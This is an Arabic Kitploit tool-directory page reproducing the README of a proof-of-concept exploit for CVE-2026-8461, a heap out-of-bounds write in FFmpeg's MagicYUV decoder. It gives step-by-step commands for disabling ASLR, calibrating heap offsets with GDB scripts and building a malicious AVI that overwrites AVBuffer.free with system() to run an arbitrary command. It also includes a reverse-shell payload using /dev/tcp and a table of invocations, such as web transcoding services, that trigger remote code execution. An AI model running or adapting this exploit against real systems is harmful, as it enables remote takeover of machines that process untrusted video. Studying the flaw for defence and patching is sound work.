Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-8461-EXP | Kitploit
أدوات/GitHubGitHub/y5neko/cve-2026-8461-exp
تحليل الثغرات الأمنيةالاستغلالCTFالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHuby5neko/cve-2026-8461-exp

CVE-2026-8461-EXP

عرض المستودع
142منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-8461 "PixelSmash" — PoC لكتابة خارج النطاق (Heap OOB Write) في كومة FFmpeg MagicYUV

[!WARNING] يحتوي هذا المستودع على إثبات مفهوم (PoC) قابل للعمل لاستغلال ثغرة تلف في الكومة. وهو مخصص حصرًا لأبحاث الأمن المصرح بها، وسياقات مسابقات CTF، والتحليلات الدفاعية. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.

المنتج المتأثر: مفكك ترميز MagicYUV في FFmpeg 8.0.1 (libavcodec/magicyuv.c)
النمط البدائي: كتابة خارج النطاق في الكومة ← اختطاف AVBuffer.free ← استدعاء system()


الثغرة

تستخدم الدالة magy_decode_slice() قيمة sheight (ارتفاع الشريحة غير المقيَّد) كحد للحلقة عند الكتابة في مستوى الإخراج Cb/Cr، بينما تخصص المخزن باستخدام القيمة المقيَّدة height. في الشريحة الأخيرة من إطار مُصمَّم خصيصًا، تكتب الحلقة ما يتجاوز نهاية المنطقة المخصصة.

root@kitploit:~
// magicyuv.c:291 — dst pointer is already at sheight×stride past buffer start
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB write when sheight > height

تقع الكتابة خارج النطاق في بنية AVBuffer تُخصص لاحقًا. من خلال التحكم في البايتات المكتوبة، يُستبدل AVBuffer.free بعنوان system() ويُستبدل AVBuffer.opaque بعنوان سلسلة الأمر في الكومة. عندما يُحرَّر الإطار، يستدعي av_buffer_unref() الدالة system(cmd).

التحليل الفني الكامل: الإنجليزية · الصينية


الملفات


المتطلبات

root@kitploit:~
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR disabled — required for calibration)

اعتماديات Python: لا شيء (المكتبة القياسية فقط).


البدء السريع

الخطوة 0 — تعطيل ASLR

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0

الخطوة 1 — توليد المعايرة

إصدار التصحيح (Debug build) (مُترجَم مع -g، مثلًا من المصدر مع --enable-debug):

root@kitploit:~
python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

إصدار الإنتاج (Production build) (مكتبة مشتركة مجرّدة الرموز، مثلًا apt install ffmpeg أو مخصص مع --enable-shared):

root@kitploit:~
python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

يجب أن يكون مسار --avi مطابقًا بين المعايرة وتسليم الاستغلال. تغيير طول سلسلة المسار يزيح تخطيط الكومة ويُبطل المعايرة.

الخطوة 2 — توليد ملف AVI الاستغلالي

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

الخطوة 3 — إطلاق الاستغلال

root@kitploit:~
# Debug build (statically linked)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Production build (shared-library)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# System-installed FFmpeg (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

الإخراج المتوقع: يُنفَّذ الأمر، ثم ينهار البرنامج مع رسالة corrupted size vs. prev_size.

root@kitploit:~
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

image-20260624151409029

مثال على قشرة عكسية (Reverse shell)

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

مخطط سير قرار سكربت المعايرة

root@kitploit:~
Target FFmpeg binary
    │
    ├─ Has debug symbols?  (file ffmpeg | grep debug_info)
    │       └─ YES → auto_calibrate.py
    │
    └─ Stripped / production
            │
            ├─ Dynamically linked?  (ldd ffmpeg | grep libavutil)
            │       └─ YES → auto_calibrate_nosym.py
            │
            └─ Statically linked + fully stripped
                    └─ Neither script applies
                       (requires LD_PRELOAD malloc hook approach)

يعمل auto_calibrate_nosym.py بالطريقة التالية:

  1. التوقف عند av_buffer_create (موجود دائمًا في libavutil.so .dynsym) لالتقاط مؤشرَي بيانات Cb وCr دون الحاجة إلى رموز على مستوى المصدر.
  2. تعيين نقطة مراقبة كتابة عتادية (hardware write watchpoint) في GDB على عنوان بداية الكتابة خارج النطاق OOB.
  3. فحص تفريغ الكومة الناتج لتحديد موضع بنية AVBuffer واستخراج عنوان system().

متطلبات إطلاق الاستغلال

يعمل الاستغلال عندما يقوم الهدف بفك ترميز إطار الفيديو (وليس مجرد استكشافه):


PoC أساسي (كتابة خارج النطاق فقط، بدون حمولة)

لإثبات الثغرة دون تنفيذ أي أمر:

root@kitploit:~
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# crashes with: free(): invalid pointer  or  corrupted size vs. prev_size

النطاق والقيود

  • البنية المعمارية: طُوّر واختُبر على x86_64 فقط. يعتمد الاستغلال على تخطيط كومة محدد تقع فيه بنية AVBuffer ضمن 640 بايت من عنوان بداية الكتابة خارج النطاق لمستوى Cb. أما على aarch64، فإن ترتيب التخصيص في glibc يضع AVBuffer خارج هذا النطاق (الكتلة المجاورة هي مخزن Cr بحوالي 10 كيلوبايت)، لذا لا يمكن للكتابة خارج النطاق بلوغها بهندسة الإطار الحالية. يتطلب النقل إلى aarch64 تحليل تخطيط الكومة هناك وتعديل هندسة الإطار وفقًا لذلك.
  • ASLR: يجب تعطيله (kernel.randomize_va_space=0). مع تفعيل ASLR، تتبدل عناوين الكومة عشوائيًا في كل تشغيل ولا تصبح المعايرة صالحة. ستلزم بدائية تسريب معلومات (info-leak) لتمديد هذا الأسلوب ليشمل الأهداف التي يعمل لديها ASLR.
  • نطاق المعايرة: صالحة لثنائي واحد محدد على جهاز واحد محدد. أي نسخة بناء مختلفة، أو إصدار libc مختلف، أو طول مسار AVI مختلف يتطلب إعادة معايرة.
  • مسار AVI: يجب تسليم ملف AVI الاستغلالي عبر نفس المسار المطلق المستخدم أثناء المعايرة.
  • auto_calibrate_nosym.py: يتطلب FFmpeg مرتبطًا ديناميكيًا مع إمكانية الوصول إلى libavutil.so (إما عبر مسارات النظام أو عبر --libpath).
تنزيل الأداة
الملفالوصف
exploit_cve_2026_8461.pyمولّد AVI الاستغلالي — يصوغ تدفق MagicYUV الخبيث
auto_calibrate.pyمعايرة تلقائية لإصدارات التصحيح (debug builds) (تتطلب رموز تصحيح -g)
auto_calibrate_nosym.pyمعايرة تلقائية لإصدارات الإنتاج (production builds) (مجرّدة الرموز، مكتبة مشتركة)
CVE-2026-8461_Analysis_EN.mdالتحليل الكامل للثغرة (بالإنجليزية)
CVE-2026-8461_Analysis.mdالتحليل الكامل للثغرة (بالصينية)
ffmpeg_prodثنائي FFmpeg 8.0.1 في نسخة الإنتاج مجرّد الرموز للاختبار المحلي
الاستدعاءيُطلق RCE
ffmpeg -i evil.avi -f null -نعم
ffmpeg -i evil.avi -o out.mp4نعم
خدمة تحويل وسائط عبر الويب (حلقة فك الترميز في libavcodec)نعم
مشغّل فيديو يستخدم libavcodecنعم
ffmpeg -i evil.avi (بدون تحديد مخرج)لا — تتوقف العملية قبل تشغيل av_buffer_unref
ffprobe evil.aviلا — مسار فحص فقط، بدون فك ترميز كامل